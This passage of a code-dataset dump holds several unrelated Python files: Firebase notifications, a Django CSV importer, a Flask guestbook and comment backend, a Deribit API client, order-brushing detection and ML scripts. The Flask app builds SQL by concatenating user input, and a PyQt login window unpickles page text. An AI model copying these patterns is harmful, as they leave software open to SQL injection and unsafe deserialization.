data=json.dumps(data))\n\tprint(response)\n\tprint(\"\")\n\tprint(\"\")\n\tprint(\"exit\")\n\nif __name__ == '__main__':\n\tcred = credentials.Certificate('capstone-liunx0-firebase-adminsdk-8ke8r-eca629c61b.json')\n\n\tfirebase_admin.initialize_app(cred, {\n\t\t'databaseURL': 'https://capstone-liunx0.firebaseio.com/'\n\t\t})\n\n\tref = db.reference(serial + '/Device')\n\tdevice_token = ref.get()\n\n\tprint(\"\")\n\tprint(\"\")\n\tprint(device_token)\n\tprint(\"\")\n\tprint(\"\")\n\n\tif(device_token != None) :\n\t\tsend_notification('baby')\n\n", "sub_path": "Python/FMNG.py", "file_name": "FMNG.py", "file_ext": "py", "file_size_in_byte": 1137, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "requests.post", "line_number": 26, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 26, "usage_type": "call"}, {"api_name": "firebase_admin.credentials.Certificate", "line_number": 33, "usage_type": "call"}, {"api_name": "firebase_admin.credentials", "line_number": 33, "usage_type": "name"}, {"api_name": "firebase_admin.initialize_app", "line_number": 35, "usage_type": "call"}, {"api_name": "firebase_admin.db.reference", "line_number": 39, "usage_type": "call"}, {"api_name": "firebase_admin.db", "line_number": 39, "usage_type": "name"}]} +{"seq_id": "633152036", "text": "import csv\nimport datetime\n\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom squirrel.models import Chipmunk\n\ndef str_to_bool(x):\n if x.lower() == 'true':\n return True\n elif x.lower() == 'false':\n return False\n else:\n # evil ValueError that doesn't tell you what the wrong value was\n raise ValueError(\"Has to be True or False!\")\n\nclass Command(BaseCommand):\n def add_arguments(self, parser):\n parser.add_argument('path')\n\n def handle(self, *args, **kwargs):\n path = kwargs['path']\n\n try:\n with open(path, encoding='utf-8') as fp:\n reader = csv.DictReader(fp)\n\n\n for item in reader:\n squirrel = Chipmunk.objects.filter(\n unique_squirrel_id=item['Unique Squirrel ID'])\n if squirrel.exists():\n continue\n squirrel=Chipmunk(\n longitude=item['X'],\n latitude=item['Y'],\n unique_squirrel_id=item['Unique Squirrel ID'],\n shift=item['Shift'],\n date=datetime.date(int(item['Date'][-4:]),int(item['Date'][:2]),int(item['Date'][2:4])), \n age=item['Age'],\n primary_fur_color=item['Primary Fur Color'],\n location=item['Location'],\n specific_location=item['Specific Location'],\n running=str_to_bool(item['Running']),\n chasing=str_to_bool(item['Chasing']),\n climbing=str_to_bool(item['Climbing']),\n eating=str_to_bool(item['Eating']),\n foraging=str_to_bool(item['Foraging']),\n other_activities=item['Other Activities'],\n kuks=str_to_bool(item['Kuks']),\n quaas=str_to_bool(item['Quaas']),\n moans=str_to_bool(item['Moans']),\n tail_flags=str_to_bool(item['Tail flags']),\n tail_twitches=str_to_bool(item['Tail twitches']),\n approaches=str_to_bool(item['Approaches']),\n indifferent=str_to_bool(item['Indifferent']),\n runs_from=str_to_bool(item['Runs from']),\n )\n\n squirrel.save()\n #print(f\"Squirrel {item['Unique Squirrel ID']} imported successfully!\")\n except csv.Error as e:\n print(f'there is something wrong with {reader.line_num}')\n", "sub_path": "squirrel/management/commands/import_data.py", "file_name": "import_data.py", "file_ext": "py", "file_size_in_byte": 2652, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.core.management.base.BaseCommand", "line_number": 17, "usage_type": "name"}, {"api_name": "csv.DictReader", "line_number": 26, "usage_type": "call"}, {"api_name": "squirrel.models", "line_number": 30, "usage_type": "name"}, {"api_name": "squirrel.models.Chipmunk.objects.filter", "line_number": 30, "usage_type": "call"}, {"api_name": "squirrel.models.Chipmunk.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "squirrel.models.Chipmunk", "line_number": 30, "usage_type": "name"}, {"api_name": "squirrel.models.exists", "line_number": 32, "usage_type": "call"}, {"api_name": "squirrel.models", "line_number": 32, "usage_type": "name"}, {"api_name": "squirrel.models", "line_number": 34, "usage_type": "name"}, {"api_name": "squirrel.models.Chipmunk", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 39, "usage_type": "call"}, {"api_name": "squirrel.models.save", "line_number": 60, "usage_type": "call"}, {"api_name": "squirrel.models", "line_number": 60, "usage_type": "name"}, {"api_name": "csv.Error", "line_number": 62, "usage_type": "attribute"}]} +{"seq_id": "120122565", "text": "from PyQt5 import QtCore, QtWidgets\nfrom PyQt5.QtWidgets import QMainWindow, QLabel, QGridLayout, QWidget, QApplication, QPushButton, QDialog\nfrom PyQt5.QtCore import QSize, pyqtSlot, QUrl\nfrom PyQt5.QtWebEngineWidgets import QWebEnginePage\nfrom PyQt5.QtWebEngineWidgets import QWebEngineView\nimport binascii\nimport codecs\nimport pickle\nimport httplib2\nimport fitAPI\n\nclass authWindow(QWebEngineView):\n def __init__(self, parentWindow, portNumber):\n super().__init__()\n self.title = 'Login'\n self.left = 50\n self.top = 50\n self.width = 500\n self.height = 800\n self.portNumber = portNumber\n self.initUI()\n self.parentWindow = parentWindow\n \n def initUI(self):\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n self.load(QUrl(\"http://localhost:\" + str(self.portNumber) + \"/?fake_user=Rowdy123456\"))\n self.show()\n\n self.loadFinished.connect(self.decodeCredentials)\n\n @pyqtSlot()\n def decodeCredentials(self):\n self.page().toPlainText(self.printBase64PickledCredentials)\n\n def printBase64PickledCredentials(self, result):\n try:\n encodedString = result.encode()\n pickledString = codecs.decode(encodedString, \"base64\")\n self.parentWindow.credentials = pickle.loads(pickledString)\n self.close()\n except (EOFError, pickle.UnpicklingError, binascii.Error):\n pass\n\n\ndef authenticate(parentWindow, portNumber):\n d = authWindow(parentWindow, portNumber)\n return d\n\n\n", "sub_path": "GoogleFitExporter/authWindow.py", "file_name": "authWindow.py", "file_ext": "py", "file_size_in_byte": 1595, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "PyQt5.QtWebEngineWidgets.QWebEngineView", "line_number": 12, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QUrl", "line_number": 27, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 32, "usage_type": "call"}, {"api_name": "codecs.decode", "line_number": 39, "usage_type": "call"}, {"api_name": "pickle.loads", "line_number": 40, "usage_type": "call"}, {"api_name": "pickle.UnpicklingError", "line_number": 42, "usage_type": "attribute"}, {"api_name": "binascii.Error", "line_number": 42, "usage_type": "attribute"}]} +{"seq_id": "435845294", "text": "from flask import Flask, render_template, request, jsonify, url_for, redirect\nfrom collections import defaultdict\nimport datetime\nimport pymysql\nfrom utils.t import timeTransform\n\ndb = pymysql.connect(host=\"localhost\",user=\"root\",passwd=\"root\",db=\"ZCMOL\",charset=\"utf8\")\ncursor = db.cursor()\n\napp = Flask(__name__)\n#主页\n@app.route('/')\n@app.route('/index')\ndef index():\n record_ip()\n sql_get_guestbook = \"select * from zc_guestbook order by gu_id desc limit 50\"\n cursor.execute(sql_get_guestbook) \n guestbook = cursor.fetchall()\n \n sql_get_links = \"select * from zc_links order by rand()\"\n cursor.execute(sql_get_links)\n links = cursor.fetchall()\n\n sql_get_play = \"select * from zc_anime\"\n cursor.execute(sql_get_play)\n play = cursor.fetchall()\n\n # 随机抽取一条数据\n #sql_get_music = \"select * from zc_music order by rand() limit 1\"\n sql_get_music = \"select * from zc_music where mu_id = 2\"\n cursor.execute(sql_get_music)\n bg_music = cursor.fetchone()\n \n sql_get_log = \"select * from zc_article order by ar_id desc limit 13\"\n cursor.execute(sql_get_log)\n log = cursor.fetchall()\n \n data = {\"guestbook\":guestbook,\"links\":links,\"play\":play,\"bg_music\":bg_music,\"log\":log}\n return render_template(\"index.html\", **data,timeFormat=timeTransform)\n\n#文章评论\n@app.route('/daily/')\ndef daily(article_id):\n\n #获取上下两篇\n\n sql_get_next = \"select ar_id from zc_article where ar_id > \"+str(article_id)+\" limit 1\"\n cursor.execute(sql_get_next)\n next_id = cursor.fetchone()\n sql_get_prev= \"select ar_id from zc_article where ar_id < \"+str(article_id)+\" order by ar_id desc limit 1\"\n cursor.execute(sql_get_prev)\n prev_id = cursor.fetchone()\n\n if next_id is not None:\n next_id = next_id[0]\n else:\n next_id = \"none\"\n if prev_id is not None:\n prev_id = prev_id[0]\n else:\n prev_id = \"none\"\n\n sql_get_content = \"select * from zc_article where ar_id = \"+str(article_id)\n cursor.execute(sql_get_content)\n content = cursor.fetchone()\n if content is None:\n return (\"文章已经删除了，哈哈\")\n \n comment_sql = \"select * from zc_comment where ar_id =\"+str(article_id)\n cursor.execute(comment_sql)\n comment = cursor.fetchall()\n \n # sort\n comment_dict = defaultdict(list)\n name_dict = dict()\n for c in comment:\n comment_dict[str(c[6])].append(c)\n name_dict[str(c[0])] = c[1]\n\n# print(comment_dict)\n\n# for root in comment_dict['None']:\n# print(root)\n# if str(root[0]) in comment_dict:\n# show(root[0])\n\n# def show(l):\n# for item in l:\n# print(item)\n# if str(item[0]) in comment_dict:\n# show(comment_dict[str(item[0])\n \n\n data = {\"content\":content,\"comment\":comment_dict,\"next_id\":next_id,\"prev_id\":prev_id, \"names\": name_dict}\n return render_template(\"daily.html\",**data)\n\n\n@app.route('/daily/comment',methods=['POST'])\ndef daily_comment():\n nickname = request.form[\"comment-nickname\"]\n if nickname == \"早茶月光\":\n return \"不能使用这个名字哟\"\n say = request.form[\"comment-say\"] \n article_id = request.form[\"article-reply-id\"]\n ip = request.headers['X-Forwarded-For']\n t = datetime.datetime.now()\n \n #判断时间\n check_time_sql = \"select * from zc_comment where co_ip='\"+ip+\"' and timestampdiff(SECOND,co_time,'\"+str(t)+\"') < 20\"\n check_time = cursor.execute(check_time_sql) \n if check_time > 0:\n return \"两次留言时间间隔要大于20秒\"\n\n has_reply = True\n reply_id = 1\n if 'reply-id' in request.form and request.form['reply-id']:\n reply_id = request.form['reply-id'] \n else:\n has_reply = False\n sql_comment = \"\"\n if has_reply:\n sql_comment = \"insert into zc_comment(co_name,co_content,co_time,co_ip,ar_id,co_replay_id) values('\"+nickname+\"','\"+say+\"','\"+str(t)+\"','\"+ip+\"','\"+article_id+\"','\"+reply_id+\"')\"\n else:\n sql_comment = \"insert into zc_comment(co_name,co_content,co_time,co_ip,ar_id) values('\"+nickname+\"','\"+say+\"','\"+str(t)+\"','\"+ip+\"','\"+article_id+\"')\"\n #print(nickname,say,article_id,ip,t,reply_id)\n #print(sql_comment)\n cursor.execute(sql_comment)\n db.commit() \n return redirect(url_for(\"daily\", article_id=article_id))\n\n\n \n\n \n\n\n\n#获取留言 \n@app.route('/guestbook',methods=['POST'])\ndef guestbook():\n nickname = request.form[\"nickname\"]\n say = request.form[\"say\"]\n if len(nickname.strip())== 0 or len(say.strip())==0 :\n return \"nickname or say is null\"\n ip = request.headers['X-Forwarded-For']\n time = datetime.datetime.now() \n \n #say time\n check_input_time_sql = \"select * from zc_guestbook where gu_ip ='\"+ip+\"' and timestampdiff(SECOND,gu_time,'\"+str(time)+\"')<20\"\n check_time = cursor.execute(check_input_time_sql) \n if check_time > 0:\n return \"showtip\"\n\n sql_insert = \"insert into zc_guestbook(gu_nickname,gu_say,gu_myreplay,gu_time,gu_ip) values('\"+nickname+\"','\"+say+\"','','\"+str(time)+\"','\"+ip+\"')\"\n cursor.execute(sql_insert)\n db.commit()\n\n sql_get = \"select * from zc_guestbook order by gu_id desc\"\n cursor.execute(sql_get)\n say_all = cursor.fetchall() \n \n data = {'list': say_all} \n\n return jsonify(data)\n \n\n\ndef record_ip():\n ip = request.headers['X-Forwarded-For'] \n t = datetime.datetime.now()\n sql_exist = \"select * from zc_allip where ip_ip='\"+ip+\"' limit 1\" \n exist = cursor.execute(sql_exist)\n if exist == 0:\n sql_insert = \"insert into zc_allip(ip_ip,ip_time) values('\"+ip+\"','\"+str(t)+\"')\"\n cursor.execute(sql_insert)\n sql_add = \"update zc_home set ho_liulanshu = ho_liulanshu+1 where ho_id = 1\"\n cursor.execute(sql_add) \n else:\n sql = \"select * from zc_allip where ip_ip='\"+ip+\"' and timestampdiff(SECOND,ip_time,'\"+str(t)+\"')>300\"\n is_add = cursor.execute(sql)\n if is_add > 0:\n sql_add = \"update zc_home set ho_liulanshu = ho_liulanshu+1 where ho_id = 1\"\n cursor.execute(sql_add) \n sql_update = \"update zc_allip set ip_time='\"+str(t)+\"' where ip_ip='\"+ip+\"'\" \n cursor.execute(sql_update)\n db.commit()\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n #app.run(port=5000,debug=True)\n app.run(port=5000)\n", "sub_path": "ZCMOL/zcmol/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 6400, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pymysql.connect", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 39, "usage_type": "call"}, {"api_name": "utils.t.timeTransform", "line_number": 39, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 100, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 100, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 103, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 103, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 104, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 104, "usage_type": "name"}, {"api_name": "flask.request.headers", "line_number": 105, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 105, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 106, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 106, "usage_type": "attribute"}, {"api_name": "flask.request.form", "line_number": 116, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 116, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 117, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 117, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 129, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 129, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 141, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 141, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 142, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 142, "usage_type": "name"}, {"api_name": "flask.request.headers", "line_number": 145, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 145, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 146, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 146, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 164, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 169, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 169, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 170, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 170, "usage_type": "attribute"}]} +{"seq_id": "154064509", "text": "import pandas as pd\norders = pd.read_csv('D:/order_brush_order.csv')\norders.drop('orderid', inplace=True, axis=1)\norders['hour'] = pd.to_datetime(orders['event_time'])\nimport datetime\norders = orders.sort_values(by=['shopid','hour'])\nhourref = datetime.timedelta(hours=1)\n\ncurrshop = 0\ncurrshopstart = 0\ncurrshopend = 0\ncurrd = {}\nshops = {}\n#222750\nfor row in range(222750):\n if currshop != orders.iloc[row,0]:\n currshop = orders.iloc[row,0]\n currshopstart = row\n currshopend = row\n currd = {orders.iloc[row,1] : 1}\n shops[orders.iloc[row,0]] = 0\n continue\n \n currshopend += 1\n \n cont = False\n while orders.iloc[currshopend,3] - orders.iloc[currshopstart,3] > hourref and currshopstart < currshopend:\n if currd[orders.iloc[currshopstart,1]] == 1:\n del currd[orders.iloc[currshopstart,1]]\n else:\n currd[orders.iloc[currshopstart,1]] -= 1\n currshopstart += 1\n if currshopstart == currshopend:\n currd = {orders.iloc[currshopstart,1] : 1}\n break\n \n if orders.iloc[row,1] not in currd:\n currd[orders.iloc[row,1]] = 1\n else:\n currd[orders.iloc[row,1]] += 1\n \n \n if currshopend - currshopstart + 1 >= 3 * len(currd):\n #print(orders.iloc[row,0])\n #print(currd)\n shops[orders.iloc[row,0]] = max(currd, key = currd.get)\n\nresult = [[k, v] for k,v in shops.items()]\nanswer = pd.DataFrame(result, columns =['shopid', 'userid']) \n#answer.to_csv('RetailRow.csv')\n", "sub_path": "asdf.py", "file_name": "asdf.py", "file_ext": "py", "file_size_in_byte": 1542, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pandas.read_csv", "line_number": 2, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 4, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 7, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "call"}]} +{"seq_id": "145729886", "text": "# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# coding=UTF-8\n\nimport numpy as np\nimport hnswlib\nfrom paddlenlp.utils.log import logger\n\n\ndef build_index(args, data_loader, model):\n\n index = hnswlib.Index(space='ip', dim=args.output_emb_size)\n\n # Initializing index\n # max_elements - the maximum number of elements (capacity). Will throw an exception if exceeded\n # during insertion of an element.\n # The capacity can be increased by saving/loading the index, see below.\n #\n # ef_construction - controls index search speed/build speed tradeoff\n #\n # M - is tightly connected with internal dimensionality of the data. Strongly affects memory consumption (~M)\n # Higher M leads to higher accuracy/run_time at fixed ef/efConstruction\n index.init_index(\n max_elements=args.hnsw_max_elements,\n ef_construction=args.hnsw_ef,\n M=args.hnsw_m)\n\n # Controlling the recall by setting ef:\n # higher ef leads to better accuracy, but slower search\n index.set_ef(args.hnsw_ef)\n\n # Set number of threads used during batch search/construction\n # By default using all available cores\n index.set_num_threads(16)\n\n logger.info(\"start build index..........\")\n\n all_embeddings = []\n\n for text_embeddings in model.get_semantic_embedding(data_loader):\n all_embeddings.append(text_embeddings.numpy())\n\n all_embeddings = np.concatenate(all_embeddings, axis=0)\n index.add_items(all_embeddings)\n\n logger.info(\"Total index number:{}\".format(index.get_current_count()))\n\n return index\n", "sub_path": "examples/semantic_indexing/ann_util.py", "file_name": "ann_util.py", "file_ext": "py", "file_size_in_byte": 2119, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "hnswlib.Index", "line_number": 24, "usage_type": "call"}, {"api_name": "paddlenlp.utils.log.logger.info", "line_number": 48, "usage_type": "call"}, {"api_name": "paddlenlp.utils.log.logger", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 55, "usage_type": "call"}, {"api_name": "paddlenlp.utils.log.logger.info", "line_number": 58, "usage_type": "call"}, {"api_name": "paddlenlp.utils.log.logger", "line_number": 58, "usage_type": "name"}]} +{"seq_id": "78616363", "text": "# -*- coding: utf-8 -*-\r\n\r\nimport time, hashlib, requests, base64, sys\r\nfrom collections import OrderedDict\r\n\r\n\r\nclass RestClient(object):\r\n def __init__(self, key=None, secret=None, url=None):\r\n self.key = key\r\n self.secret = secret\r\n self.session = requests.Session()\r\n\r\n if url:\r\n self.url = url\r\n else:\r\n self.url = \"https://www.deribit.com\"\r\n\r\n if (self.url == \"https://test.deribit.com\"):\r\n self.verify = False\r\n else:\r\n self.verify = True\r\n\r\n def request(self, action, data):\r\n response = None\r\n\r\n if action.startswith(\"/api/v1/private/\"):\r\n if self.key is None or self.secret is None:\r\n raise Exception(\"Key or secret empty\")\r\n\r\n signature = self.generate_signature(action, data)\r\n response = self.session.post(self.url + action, data=data, headers={'x-deribit-sig': signature},\r\n verify=self.verify)\r\n else:\r\n response = self.session.get(self.url + action, params=data, verify=self.verify)\r\n\r\n if response.status_code != 200:\r\n raise Exception(\"Wrong response code: {0}\".format(response.status_code))\r\n\r\n json = response.json()\r\n # print(\"JSON RESULT\", json)\r\n\r\n # The result set from this method does not return a \"Success\" parameter\r\n # and this check must be skipped to avoid it failing completely\r\n if not action.startswith(\"/api/v1/private/datatable\"):\r\n if not action.startswith(\"/api/v1/private/\"):\r\n if json[\"success\"] == False:\r\n raise Exception(\"Failed: \" + json[\"message\"])\r\n\r\n\r\n if \"result\" in json:\r\n return json[\"result\"]\r\n elif \"message\" in json:\r\n return json[\"message\"]\r\n elif \"data\" in json:\r\n return json[\"data\"]\r\n else:\r\n return \"Ok\"\r\n\r\n def generate_signature(self, action, data):\r\n tstamp = int(time.time() * 1000)\r\n signature_data = {\r\n '_': tstamp,\r\n '_ackey': self.key,\r\n '_acsec': self.secret,\r\n '_action': action\r\n }\r\n signature_data.update(data)\r\n sorted_signature_data = OrderedDict(sorted(signature_data.items(), key=lambda t: t[0]))\r\n\r\n def converter(data):\r\n key = data[0]\r\n value = data[1]\r\n if isinstance(value, list):\r\n return '='.join([str(key), ''.join(value)])\r\n else:\r\n return '='.join([str(key), str(value)])\r\n\r\n items = map(converter, sorted_signature_data.items())\r\n\r\n signature_string = '&'.join(items)\r\n\r\n sha256 = hashlib.sha256()\r\n sha256.update(signature_string.encode(\"utf-8\"))\r\n sig = self.key + \".\" + str(tstamp) + \".\"\r\n sig += base64.b64encode(sha256.digest()).decode(\"utf-8\")\r\n return sig\r\n\r\n def getorderbook(self, instrument):\r\n return self.request(\"/api/v1/public/getorderbook\", {'instrument': instrument})\r\n\r\n def getinstruments(self):\r\n return self.request(\"/api/v1/public/getinstruments\", {})\r\n\r\n def getcurrencies(self):\r\n return self.request(\"/api/v1/public/getcurrencies\", {})\r\n\r\n def getlasttrades(self, instrument, count=None, since=None):\r\n options = {\r\n 'instrument': instrument\r\n }\r\n\r\n if since:\r\n options['since'] = since\r\n\r\n if count:\r\n options['count'] = count\r\n\r\n return self.request(\"/api/v1/public/getlasttrades\", options)\r\n\r\n def getsummary(self, instrument):\r\n return self.request(\"/api/v1/public/getsummary\", {\"instrument\": instrument})\r\n\r\n def index(self):\r\n return self.request(\"/api/v1/public/index\", {})\r\n\r\n def stats(self):\r\n return self.request(\"/api/v1/public/stats\", {})\r\n\r\n def account(self):\r\n return self.request(\"/api/v1/private/account\", {})\r\n\r\n def buy(self, instrument, quantity, price, postOnly=None, label=None, adv=None, tif=None):\r\n\r\n options = {\r\n \"instrument\": instrument,\r\n \"quantity\": quantity,\r\n \"price\": price\r\n }\r\n\r\n if label:\r\n options[\"label\"] = label\r\n\r\n if postOnly:\r\n options[\"postOnly\"] = postOnly\r\n\r\n if adv:\r\n options[\"adv\"] = adv\r\n\r\n if tif:\r\n options[\"time_in_force\"] = tif\r\n\r\n return self.request(\"/api/v1/private/buy\", options)\r\n\r\n def sell(self, instrument, quantity, price, postOnly=None, label=None, adv=None, tif=None):\r\n options = {\r\n \"instrument\": instrument,\r\n \"quantity\": quantity,\r\n \"price\": price\r\n }\r\n\r\n if label:\r\n options[\"label\"] = label\r\n\r\n if postOnly:\r\n options[\"postOnly\"] = postOnly\r\n\r\n if adv:\r\n options[\"adv\"] = adv\r\n\r\n if tif:\r\n options[\"time_in_force\"] = tif\r\n\r\n return self.request(\"/api/v1/private/sell\", options)\r\n\r\n def cancel(self, orderId):\r\n options = {\r\n \"orderId\": orderId\r\n }\r\n\r\n return self.request(\"/api/v1/private/cancel\", options)\r\n\r\n def cancelall(self, typeDef=\"all\"):\r\n return self.request(\"/api/v1/private/cancelall\", {\"type\": typeDef})\r\n\r\n def edit(self, orderId, quantity, price):\r\n options = {\r\n \"orderId\": orderId,\r\n \"quantity\": quantity,\r\n \"price\": price\r\n }\r\n\r\n return self.request(\"/api/v1/private/edit\", options)\r\n\r\n def getopenorders(self, instrument=None, orderId=None):\r\n options = {}\r\n\r\n if instrument:\r\n options[\"instrument\"] = instrument\r\n if orderId:\r\n options[\"orderId\"] = orderId\r\n\r\n return self.request(\"/api/v1/private/getopenorders\", options)\r\n\r\n def positions(self):\r\n return self.request(\"/api/v1/private/positions\", {})\r\n\r\n def orderhistory(self, count=None):\r\n options = {}\r\n if count:\r\n options[\"count\"] = count\r\n\r\n return self.request(\"/api/v1/private/orderhistory\", options)\r\n\r\n def tradehistory(self, countNum=None, instrument=\"all\", startTradeId=None):\r\n options = {\r\n \"instrument\": instrument\r\n }\r\n\r\n if countNum:\r\n options[\"count\"] = countNum\r\n if startTradeId:\r\n options[\"startTradeId\"] = startTradeId\r\n\r\n return self.request(\"/api/v1/private/tradehistory\", options)\r\n\r\n # Default pulling options table but can be used to pull other data tables as well\r\n def getdatatable(self, start=0, table=\"options\", draw=1, length=10):\r\n options = {\r\n \"start\": start,\r\n \"table\": table,\r\n \"draw\": draw,\r\n \"length\": length\r\n }\r\n return self.request(\"/api/v1/private/datatable\", options)\r\n\r\n\r\n", "sub_path": "deribit_api.py", "file_name": "deribit_api.py", "file_ext": "py", "file_size_in_byte": 6915, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "requests.Session", "line_number": 11, "usage_type": "call"}, {"api_name": "time.time", "line_number": 60, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 68, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 82, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 85, "usage_type": "call"}]} +{"seq_id": "565298200", "text": "'''\nBy adidinchuk park. adidinchuk@gmail.com.\nhttps://github.com/adidinchuk/tf-support-vector-machines\n'''\n\nimport data as d\nimport numpy as np\nfrom network import Network\nimport hyperparams as hp\n\n# load and parse data\ndata = d.load_data('seeds//seeds_dataset.txt')\ndata = [row[0].replace('\\t\\t', '\\t') for row in data]\ndata = [row.split('\\t') for row in data]\n\n# extract desired features and targets\ninputs = np.array([list(map(float, [row[6], row[4]])) for row in data])\ntargets = np.transpose(np.array([list(map(float, [1 if int(row[7]) == 1 else -1,\n 1 if int(row[7]) == 2 else -1,\n 1 if int(row[7]) == 3 else -1])) for row in data]))\n\n\n# extract desired features and targets\n#inputs = np.array([list(map(float, [row[6], row[4]])) for row in data if int(row[7]) == 3 or int(row[7]) == 2])\n#targets = np.transpose(np.array([list(map(float, [1 if int(row[7]) == 3 else -1,\n# 1 if int(row[7]) == 2 else -1])) for row in data if int(row[7]) == 3 or int(row[7]) == 2]))\n\n\n# extract number of features and number of data clusters from the data\nfeature_count = len(inputs[0])\ncluster_count = len(targets)\n\n# init the network and train\nnet = Network(feature_count, cluster_count, gamma=hp.gamma)\nnet.train(inputs, targets, lr=hp.learning_rate, batch_size=hp.batch_size,\n epochs=hp.epochs, plot=True, kernel='gaussian')\n\n# Example generating predictions for data\ntest_inx = [0, 85, 190, 10, 95, 205]\ntmp = np.transpose(targets)\nprint(tmp[test_inx])\nprint(net.predict(inputs[test_inx]))\n", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 1638, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "data.load_data", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "network.Network", "line_number": 34, "usage_type": "call"}, {"api_name": "hyperparams.gamma", "line_number": 34, "usage_type": "attribute"}, {"api_name": "hyperparams.learning_rate", "line_number": 35, "usage_type": "attribute"}, {"api_name": "hyperparams.batch_size", "line_number": 35, "usage_type": "attribute"}, {"api_name": "hyperparams.epochs", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 40, "usage_type": "call"}]} +{"seq_id": "637602412", "text": "import os\nimport tqdm\nimport cv2\nimport multiprocessing\nimport torch\nimport math\nimport argparse\nimport numpy as np\nimport utils\nimport shutil\nfrom PIL import Image\n\n\nTARGET_DIR = \"data/fdf_new\"\nshutil.rmtree(TARGET_DIR)\nIMAGE_TARGET_DIR = os.path.join(TARGET_DIR, \"images\")\nos.makedirs(IMAGE_TARGET_DIR)\nBBOX_TARGET_DIR = os.path.join(TARGET_DIR, \"bounding_box\")\nos.makedirs(BBOX_TARGET_DIR)\nLANDMARK_TARGET_DIR = os.path.join(TARGET_DIR, \"landmarks\")\nos.makedirs(LANDMARK_TARGET_DIR)\n\nnp.random.seed(0)\nIMAGE_SOURCE_DIR = \"/work/haakohu/yfcc100m/images2\"\n#LANDMARKS_PATH = \"/lhome/haakohu/flickr_download/annotations_keypoints.json\"\nLANDMARKS_PATH = \"test_keypoints.json\"\n\n#BBOX_PATH = \"/lhome/haakohu/flickr_download/annotations.json\"\nBBOX_PATH = \"test_bbox.json\"\nBBOX_JSON = utils.read_json(BBOX_PATH)\nLANDMARKS_JSON = utils.read_json(LANDMARKS_PATH)\nfdf_metainfo = utils.read_json(\"fdf_metainfo.json\")\n\nMIN_BBOX_SIZE = 128\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--max_imsize\", default=128, 